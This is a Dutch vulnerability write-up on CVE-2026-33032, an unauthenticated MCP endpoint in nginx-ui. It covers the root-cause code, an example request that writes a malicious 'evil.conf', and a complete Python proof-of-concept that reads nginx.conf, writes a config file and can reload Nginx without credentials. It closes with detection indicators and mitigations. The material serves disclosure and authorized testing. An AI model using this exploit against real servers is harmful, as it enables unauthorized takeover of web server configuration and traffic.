Dit artikel en de broncode zijn uitsluitend bedoeld voor educatieve doeleinden en security research. Misbruik voor kwaadwillende doeleinden, waaronder ongeautoriseerde systeemtoegang of malwareontwikkeling, is uitdrukkelijk verboden. Door dit materiaal te gebruiken ga je akkoord met onze Algemene Voorwaarden. Elk gebruik is volledig op eigen risico.

CVE-2026-33032 is een kritieke authenticatiefout in 0xJacky/nginx-ui die versies 2.3.5 en ouder treft. Volgens het vendor advisory stelt het product twee MCP-gerelateerde HTTP-endpoints bloot, /mcp en /mcp_message. Het eerste endpoint wordt beschermd door zowel IPWhiteList() als AuthRequired() middleware, terwijl op het tweede alleen IPWhiteList() wordt toegepast.

De impact wordt kritiek doordat de standaardwaarde van ip_whitelist leeg is, en de whitelist-middleware een lege lijst behandelt als allow-all. Daardoor kan een netwerkaanvaller /mcp_message zonder authenticatie bereiken en dezelfde MCP tool handler aanroepen die ook door het geauthenticeerde endpoint wordt gebruikt. Het advisory stelt dat dit privileged acties mogelijk maakt, waaronder het herstarten van Nginx, het aanmaken, wijzigen en verwijderen van Nginx-configuratiebestanden, en het triggeren van automatische reloads. In de praktijk komt dit neer op een volledige overname van het beheer van de Nginx-service via de blootgestelde managementinterface.

Op het moment van publicatie was er volgens het advisory nog geen publieke patch beschikbaar.

• CVE: CVE-2026-33032
• Severity: Critical
• CVSS: 9.8
• CWE: CWE-306, Missing Authentication for Critical Function
• Vendor: 0xJacky
• Product: nginx-ui
• Affected versions: <= 2.3.5
• Exposed endpoints: /mcp, /mcp_message
• Root issue: authenticatie wordt afgedwongen op /mcp, maar niet op /mcp_message
• Default exposure condition: een lege ip_whitelist wordt door IPWhiteList() behandeld als allow-all

Dit probleem is geen beperkte information disclosure of een administratieve bypass met lage impact. Het advisory koppelt het ongeauthenticeerde endpoint direct aan MCP tool execution, en die tools omvatten operaties die live Nginx-configuratie wijzigen en de lifecycle van de service aansturen.

Het publieke advisory noemt specifiek de mogelijkheid om:

• Nginx te herstarten,
• Nginx-configuratiebestanden aan te maken,
• Nginx-configuratiebestanden te wijzigen,
• Nginx-configuratiebestanden te verwijderen,
• automatische configuratie-reloads te triggeren.

Die combinatie is operationeel zeer ernstig. Als een aanvaller configuratie kan schrijven en vervolgens een reload kan forceren, kan die wijzigen hoe Nginx verkeer afhandelt. Het voorbeeld in het advisory richt zich op het aanmaken van een kwaadaardige configuratie die authorization headers logt. Daarmee wordt duidelijk dat de kwetsbaarheid verder kan gaan dan een simpele denial of service en, afhankelijk van de deploymentcontext, kan uitmonden in traffic interception of credential exposure.

Omdat het kwetsbare pad via HTTP bereikbaar is en het standaardgedrag van de whitelist permissief is wanneer deze niet is ingesteld, is het aanvalsoppervlak bijzonder gevaarlijk op managementinstances die aan het internet blootstaan of breed bereikbaar zijn binnen een netwerk.

Het advisory wijst op een asymmetrie in authenticatie in mcp/router.go. De twee routes worden verschillend geregistreerd, terwijl beide uiteindelijk dezelfde MCP-handler aanroepen:

func InitRouter(r *gin.Engine) {
	r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(),
		func(c *gin.Context) {
			mcp.ServeHTTP(c)
		})
	r.Any("/mcp_message", middleware.IPWhiteList(),
		func(c *gin.Context) {
			mcp.ServeHTTP(c)
		})
}

De security-consequentie is rechttoe rechtaan:

• /mcp vereist zowel IP-filtering als authenticatie.
• /mcp_message vereist alleen IP-filtering.
• Beide endpoints roepen mcp.ServeHTTP(c) aan.

Het ontbreken van AuthRequired() op /mcp_message is dus niet slechts een inconsistentie tussen routes. Het stelt hetzelfde privileged MCP tool-oppervlak bloot via een zwakker pad voor toegangscontrole.

Het tweede deel van de root cause is het fail-open whitelist-gedrag. Het advisory verwijst naar settings/auth.go en internal/middleware/ip_whitelist.go, waaruit blijkt dat IPWhiteList standaard niet wordt geïnitialiseerd en dat de middleware requests expliciet toestaat wanneer de lijst leeg is:

func IPWhiteList() gin.HandlerFunc {
	return func(c *gin.Context) {
		clientIP := c.ClientIP()
		if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
			c.Next()
			return
		}
	}
}

Dat betekent dat de enige controle op /mcp_message in veel gevallen feitelijk geen controle is. Onder standaardomstandigheden weigert een lege ip_whitelist geen toegang, maar staat die juist toe.

Vanuit ontwerpoptiek bestaat de kwetsbaarheid uit de combinatie van twee implementatiekeuzes:

1. een privileged endpoint-pad zonder AuthRequired(), en
2. een IP whitelist-middleware die al het verkeer toestaat wanneer geen whitelist is geconfigureerd.

Elk van beide problemen afzonderlijk zou al zorgwekkend zijn. Samen leiden ze tot ongeauthenticeerde remote toegang tot kritieke administratieve functies.

Het advisory geeft een concrete request-vorm waaruit blijkt hoe MCP-tools via /mcp_message kunnen worden aangeroepen met een JSON-RPC 2.0-achtige payload. De gedocumenteerde flow is:

1. verstuur een POST-request naar /mcp_message,
2. gebruik Content-Type: application/json,
3. roep methode tools/call aan,
4. specificeer een privileged tool zoals nginx_config_add,
5. lever argumenten aan die een configuratiebestand laten schrijven,
6. vertrouw op het applicatiegedrag waarbij het bestand wordt geschreven en Nginx direct wordt herladen.

Het advisory verwijst ook naar mcp/config/config_add.go, waar configuratieschrijfacties worden gevolgd door een reload:

err := os.WriteFile(path, []byte(content), 0644)
res := nginx.Control(nginx.Reload)

Dat codepad is belangrijk omdat exploitatie daarmee wordt teruggebracht tot één managementactie. Een aanvaller heeft geen tweede geauthenticeerde stap nodig om de kwaadaardige configuratie toe te passen. Als de MCP tool invocation slaagt, vinden het schrijven van het bestand en de reload plaats binnen dezelfde privileged workflow.

Het gepubliceerde voorbeeldrequest is onvolledig, maar voldoende om de exploitlogica vast te stellen:

POST /mcp_message HTTP/1.1
Content-Type: application/json

{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "nginx_config_add",
    "arguments": {
      "name": "evil.conf",
      "content": "server { listen 8443; location / { proxy_pass http://127.0.0.1:9000; access_l..."
    }
  }
}

De routeregistratie, de ontbrekende middleware en het gedrag rond config write plus reload zijn voldoende om de validatieflow te reconstrueren:

• ongeauthenticeerde toegang bereikt /mcp_message,
• /mcp_message bereikt mcp.ServeHTTP(c),
• MCP tool invocation bereikt privileged functies voor configuratiebeheer,
• configuratiewijzigingen worden naar disk geschreven,
• Nginx wordt automatisch herladen.

Het advisory stelt verder dat een aanvaller met netwerktoegang tot poort 9000 elke MCP-tool via het message-endpoint kan aanroepen. Die voorwaarde rond netwerkbereikbaarheid is belangrijk bij het beoordelen van de blootstelling in echte deployments.

Een enkele Python 3-validatie-PoC van WebSec is voldoende om het blootgestelde aanvalspad hier aan te tonen. De PoC test /mcp_message zonder credentials, verifieert dat MCP-toolcalls de backend bereiken, inventariseert het beschikbare Nginx-configuratieoppervlak, probeert nginx.conf uit te lezen, en kan optioneel een onschuldig markerbestand met alleen commentaar in conf.d schrijven om ongeauthenticeerde schrijfrechten te bevestigen.

Die volgorde houdt de validatiestappen in lijn met de gedocumenteerde impact. Het markerbestand bevat alleen commentaar en introduceert dus geen nieuwe virtual host of wijziging in request-afhandeling wanneer het wordt geladen. Een Nginx-reload blijft een expliciete opt-in stap voor de operator, omdat die live verkeer kan raken.

De praktische operatorflow is:

• bevestig dat /mcp_message reageert zonder 401 of 403
• roep een low-impact MCP-tool aan, zoals nginx_status
• inventariseer configuratiepaden en lees nginx.conf uit wanneer dat is toegestaan
• valideer optioneel schrijfrechten met een onschuldig markerbestand in conf.d
• voer alleen een reload uit wanneer de opdracht availability-impact tests expliciet toestaat

De volgende PoC Exploit door WebSec is niet getest tegen een live doelwit. Deze is door WebSec uitsluitend opgesteld voor geautoriseerde validatie en documentatie.

De onderstaande Python 3-validatie-PoC is de enige WebSec-PoC in dit artikel. Deze is alleen bedoeld voor geautoriseerde validatie, pentests en documentatiedoeleinden.

#!/usr/bin/env python3
# CVE-2026-33032 - nginx-ui MCP Unauthenticated Endpoint PoC
# GHSA-h6c2-x2m2-mwhf
#
# Vulnerability: /mcp_message endpoint missing AuthRequired() middleware,
# allowing unauthenticated MCP tool invocation.
#
# Author: WebSec B.V. - Authorized Pentest Use Only
# Web: https://websec.net | https://websec.nl
# Usage: python3 poc_websec.py --target http://192.168.1.10:9000
#
# IMPORTANT: Only use against systems you have explicit written authorization to test.
# This PoC is untested and provided for authorized validation and documentation only.

import argparse
import json
import sys
from datetime import datetime, timezone
from urllib.parse import urljoin

import requests
import urllib3


BANNER = "\n".join([
    "╔══════════════════════════════════════════════════════════════════╗",
    "║       CVE-2026-33032 - nginx-ui MCP Auth Bypass PoC            ║",
    "║       GHSA-h6c2-x2m2-mwhf                                      ║",
    "║       WebSec B.V. - Authorized Pentest Tooling                ║",
    "║  !! FOR USE ON SYSTEMS WITH EXPLICIT WRITTEN AUTH ONLY !!      ║",
    "╚══════════════════════════════════════════════════════════════════╝",
])

SAFE_MARKER_CONFIG = "\n".join([
    "# WebSec B.V. Pentest Marker - CVE-2026-33032 Validation",
    "# This file was written by an authorized penetration test.",
    "# Proof-of-concept: unauthenticated MCP write via /mcp_message",
    "# Engagement: {engagement}",
    "# Tester:     {tester}",
    "# Date:       {date}",
    "# This file is intentionally harmless. Please delete after review.",
    "",
])


def build_jsonrpc(method: str, params: dict, req_id: int = 1) -> dict:
    return {
        "jsonrpc": "2.0",
        "method": method,
        "params": params,
        "id": req_id,
    }


# POST a JSON-RPC payload to the unauthenticated /mcp_message endpoint.
def send_mcp(
    session: requests.Session,
    base_url: str,
    payload: dict,
    timeout: int = 10,
) -> requests.Response | None:
    endpoint = urljoin(base_url, "/mcp_message")
    try:
        return session.post(
            endpoint,
            json=payload,
            headers={"Content-Type": "application/json"},
            timeout=timeout,
            verify=False,
        )
    except requests.exceptions.ConnectionError as exc:
        print(f"  [!] Connection error: {exc}")
        return None
    except requests.exceptions.Timeout:
        print("  [!] Request timed out.")
        return None
    except requests.exceptions.RequestException as exc:
        print(f"  [!] Request failed: {exc}")
        return None


# Return (success, message) from a JSON-RPC response.
def parse_result(resp: requests.Response | None) -> tuple[bool, str]:
    if resp is None:
        return False, "No response received."
    try:
        data = resp.json()
    except json.JSONDecodeError:
        return False, f"Non-JSON response (HTTP {resp.status_code}): {resp.text[:200]}"

    if "error" in data:
        return False, f"RPC error: {data['error']}"
    if "result" in data:
        return True, json.dumps(data["result"], indent=2)
    return False, f"Unexpected response: {data}"


# Step 1: confirm that /mcp_message responds without auth.
def probe_endpoint(session: requests.Session, base_url: str) -> bool:
    print("\n[*] Step 1: Probing /mcp_message for unauthenticated access...")
    payload = build_jsonrpc(
        method="tools/call",
        params={"name": "nginx_status", "arguments": {}},
        req_id=1,
    )
    resp = send_mcp(session, base_url, payload)
    if resp is None:
        return False

    print(f"  [+] HTTP status: {resp.status_code}")

    if resp.status_code in (401, 403):
        print("  [-] Endpoint returned 401/403. AuthRequired() appears to be present.")
        print("  [-] Target does not appear vulnerable.")
        return False

    ok, msg = parse_result(resp)
    if ok:
        print("  [+] Unauthenticated request succeeded. Endpoint appears vulnerable.")
        print(f"  [+] nginx_status result:\n{msg}")
        return True

    print(f"  [~] Request reached the handler without auth (RPC message: {msg})")
    print("  [~] Endpoint likely vulnerable. Authentication middleware appears to be missing.")
    return True


# Step 2: list nginx configuration files.
def enum_config_list(session: requests.Session, base_url: str) -> None:
    print("\n[*] Step 2: Enumerating nginx configuration files...")
    payload = build_jsonrpc(
        method="tools/call",
        params={"name": "nginx_config_list", "arguments": {}},
        req_id=2,
    )
    resp = send_mcp(session, base_url, payload)
    ok, msg = parse_result(resp)
    if ok:
        print(f"  [+] nginx_config_list result:\n{msg}")
    else:
        print(f"  [-] nginx_config_list failed: {msg}")


# Step 3: retrieve the nginx config base path.
def get_base_path(session: requests.Session, base_url: str) -> str | None:
    print("\n[*] Step 3: Retrieving nginx config base path...")
    payload = build_jsonrpc(
        method="tools/call",
        params={"name": "nginx_config_base_path", "arguments": {}},
        req_id=3,
    )
    resp = send_mcp(session, base_url, payload)
    ok, msg = parse_result(resp)
    if ok:
        print(f"  [+] Base path result:\n{msg}")
        try:
            data = resp.json()
            content = data.get("result", {})
            if isinstance(content, dict):
                return content.get("path") or content.get("base_path")
        except Exception:
            return None
    else:
        print(f"  [-] nginx_config_base_path failed: {msg}")
    return None


# Step 4: read nginx.conf.
def read_nginx_conf(session: requests.Session, base_url: str) -> None:
    print("\n[*] Step 4: Attempting to read nginx.conf...")
    payload = build_jsonrpc(
        method="tools/call",
        params={
            "name": "nginx_config_get",
            "arguments": {"relative_path": "nginx.conf"},
        },
        req_id=4,
    )
    resp = send_mcp(session, base_url, payload)
    ok, msg = parse_result(resp)
    if ok:
        print(f"  [+] nginx.conf contents:\n{msg}")
    else:
        print(f"  [-] nginx_config_get failed: {msg}")


# Step 5: write a harmless marker file to conf.d to prove write access.
def write_marker_config(
    session: requests.Session,
    base_url: str,
    engagement: str,
    tester: str,
) -> bool:
    date_str = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M UTC")
    content = SAFE_MARKER_CONFIG.format(
        engagement=engagement,
        tester=tester,
        date=date_str,
    )

    print("\n[*] Step 5: Writing harmless marker file (write-access proof)...")
    print("  [!] File: conf.d/websec_pentest_marker.conf")
    print("  [!] Content is a comment block only, no server{} block.")

    payload = build_jsonrpc(
        method="tools/call",
        params={
            "name": "nginx_config_add",
            "arguments": {
                "name": "websec_pentest_marker.conf",
                "content": content,
                "base_dir": "conf.d",
                "overwrite": False,
                "sync_node_ids": [],
            },
        },
        req_id=5,
    )
    resp = send_mcp(session, base_url, payload)
    ok, msg = parse_result(resp)
    if ok:
        print(f"  [+] Marker file written successfully:\n{msg}")
        print("  [+] Unauthenticated file write to the nginx config directory confirmed.")
        return True

    print(f"  [-] Marker write failed: {msg}")
    return False


# Step 6: optional nginx reload, only with explicit operator consent.
def trigger_reload(session: requests.Session, base_url: str) -> None:
    print("\n[*] Step 6: Triggering nginx reload...")
    payload = build_jsonrpc(
        method="tools/call",
        params={"name": "reload_nginx", "arguments": {}},
        req_id=6,
    )
    resp = send_mcp(session, base_url, payload)
    ok, msg = parse_result(resp)
    if ok:
        print(f"  [+] reload_nginx succeeded:\n{msg}")
        print("  [+] Unauthenticated nginx reload confirmed.")
    else:
        print(f"  [-] reload_nginx failed: {msg}")


def print_summary(target: str, vulnerable: bool, findings: list[str]) -> None:
    print("\n" + "═" * 68)
    print("  FINDINGS SUMMARY - WebSec B.V.")
    print("═" * 68)
    print(f"  Target   : {target}")
    print("  CVE      : CVE-2026-33032 / GHSA-h6c2-x2m2-mwhf")
    print(f"  Result   : {'VULNERABLE' if vulnerable else 'NOT VULNERABLE'}")
    if findings:
        print("\n  Confirmed Findings:")
        for finding in findings:
            print(f"    - {finding}")
    print("\n  Recommended Fix:")
    print("    Add middleware.AuthRequired() to the /mcp_message route:")
    print('    r.Any("/mcp_message", middleware.IPWhiteList(),')
    print('          middleware.AuthRequired(), func(c *gin.Context) {')
    print('              mcp.ServeHTTP(c)')
    print("          })")
    print("═" * 68 + "\n")


def main() -> None:
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    print(BANNER)

    parser = argparse.ArgumentParser(
        description="CVE-2026-33032 nginx-ui MCP Auth Bypass PoC - WebSec B.V."
    )
    parser.add_argument(
        "--target",
        "-t",
        help="Target base URL, for example http://192.168.1.10:9000",
    )
    parser.add_argument(
        "--engagement",
        "-e",
        default="WebSec Pentest",
        help="Engagement name for the marker file",
    )
    parser.add_argument(
        "--tester",
        "-u",
        default="WebSec B.V.",
        help="Tester name for the marker file",
    )
    parser.add_argument(
        "--no-write",
        action="store_true",
        help="Skip the marker-file write step",
    )
    parser.add_argument(
        "--reload",
        action="store_true",
        help="Also trigger nginx reload, use with care",
    )
    args = parser.parse_args()

    if args.target:
        target = args.target.strip().rstrip("/")
    else:
        target = input("  [?] Target URL (for example http://192.168.1.10:9000): ").strip().rstrip("/")

    if not target.startswith(("http://", "https://")):
        print("  [!] Please include the scheme, http:// or https://")
        sys.exit(1)

    print(f"\n  [*] Target  : {target}")
    print(f"  [*] Endpoint: {target}/mcp_message")

    confirm = input("\n  [!] Confirm this target is in scope and you have written authorization [y/N]: ")
    if confirm.strip().lower() != "y":
        print("  [-] Aborted.")
        sys.exit(0)

    session = requests.Session()
    findings: list[str] = []

    vulnerable = probe_endpoint(session, target)
    if not vulnerable:
        print_summary(target, False, [])
        sys.exit(0)

    findings.append("Unauthenticated access to /mcp_message confirmed")

    enum_config_list(session, target)
    findings.append("nginx_config_list accessible without authentication")

    base_path = get_base_path(session, target)
    if base_path:
        findings.append(f"nginx config base path disclosed: {base_path}")

    read_nginx_conf(session, target)
    findings.append("nginx.conf readable without authentication")

    if not args.no_write:
        write_ok = write_marker_config(session, target, args.engagement, args.tester)
        if write_ok:
            findings.append(
                "Unauthenticated file write confirmed via websec_pentest_marker.conf"
            )
    else:
        print("\n  [*] Skipping write step (--no-write specified).")

    if args.reload:
        reload_confirm = input(
            "\n  [!] --reload was set. This will reload nginx on the target. Confirm [y/N]: "
        )
        if reload_confirm.strip().lower() == "y":
            trigger_reload(session, target)
            findings.append("Unauthenticated nginx reload confirmed")
        else:
            print("  [*] Reload skipped.")
    else:
        print("\n  [*] Skipping reload step (pass --reload to test availability impact).")

    print_summary(target, True, findings)


if __name__ == "__main__":
    main()

De meest passende MITRE ATT&CK-mapping voor dit probleem is:

• Tactiek: TA0001, Initial Access
• Techniek: T1190, Exploit Public-Facing Application

Deze mapping sluit aan bij het waargenomen gedrag omdat de kwetsbare nginx-ui managementinterface via HTTP bereikbaar is en op afstand benaderd kan worden via de ongeauthenticeerde /mcp_message endpoint. Een aanvaller heeft geen geldige inloggegevens, eerdere code-executie of lokale toegang nodig. In plaats daarvan wordt een netwerk-bereikbare applicatiefout misbruikt om ongeautoriseerde toegang te verkrijgen tot geprivilegieerde beheersfunctionaliteit.

De aanval begint met het uitbuiten van een kwetsbaarheid in een publiek toegankelijke applicatie, specifiek een ontbrekende authenticatiecontrole op een gevoelige MCP-endpoint in combinatie met fail-open gedrag van de IP-whitelist. Via deze blootgestelde interface kan een aanvaller backend MCP-tools aanroepen die high-privilege acties uitvoeren, zoals het lezen van configuraties, schrijven van configuratiebestanden, verwijderen van configuratiebestanden en het herladen of herstarten van Nginx.

Een secundaire ATT&CK-mapping kan ook relevant zijn, afhankelijk van hoe de aanvaller de toegang na exploitatie gebruikt:

• Tactiek: TA0003, Persistence
• Techniek: T1505.003, Server Software Component, Web Shell

Dit is niet de primaire mapping voor de kwetsbaarheid zelf, maar beschrijft mogelijk post-exploitatiegedrag wanneer een aanvaller de configuratieschrijf-functionaliteit misbruikt om een kwaadaardige Nginx-configuratie te plaatsen, verkeer te manipuleren of persistente controle te verkrijgen via server-side configuratiewijzigingen.

Voor de kwetsbaarheid zelf blijft de sterkste primaire MITRE ATT&CK-classificatie Exploit Public-Facing Application, T1190 onder Initial Access, TA0001.

Op basis van het advisory zouden defenders het volgende moeten controleren:

• blootstelling van nginx-ui-instances op het netwerk, in het bijzonder op poort 9000,
• access logs voor requests naar /mcp_message,
• onverwacht JSON-POST-verkeer met jsonrpc en tools/call,
• recente aanmaak, wijziging of verwijdering van Nginx-configuratiebestanden,
• ongeplande Nginx-reload- of restart-events.

Omdat het kwetsbare pad automatische reloads kan triggeren na config writes, is een reeks /mcp_message-requests gevolgd door Nginx-reloadactiviteit een bijzonder relevante indicator.

Het advisory stelt dat er op het moment van publicatie geen publieke patch beschikbaar was. Bij afwezigheid van een vendor-fix zijn de praktisch onderbouwde maatregelen uit de gepubliceerde details vooral gericht op het verkleinen van blootstelling:

• beperk netwerktoegang tot de nginx-ui-managementinterface,
• stel de service niet breed of publiek bloot,
• configureer een niet-lege ip_whitelist in plaats van op standaardinstellingen te vertrouwen,
• monitor en beoordeel alle toegang tot /mcp en /mcp_message.

Gezien het gedocumenteerde fail-open gedrag is het niet veilig om ip_whitelist oningesteld te laten. Het advisory maakt duidelijk dat een lege whitelist als allow-all wordt behandeld.

Waar onmiddellijke hardening nodig is, moeten operators /mcp_message behandelen als een gevoelig administratief endpoint en niet-vertrouwde toegang op netwerkniveau blokkeren totdat een upstream-fix beschikbaar is.

Het publieke advisory werd gepubliceerd door het 0xJacky/nginx-ui-project in GitHub Security Advisory GHSA-h6c2-x2m2-mwhf.

• GitHub Security Advisory, GHSA-h6c2-x2m2-mwhf, Unauthenticated MCP Endpoint Allows Remote Nginx Takeover: https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-h6c2-x2m2-mwhf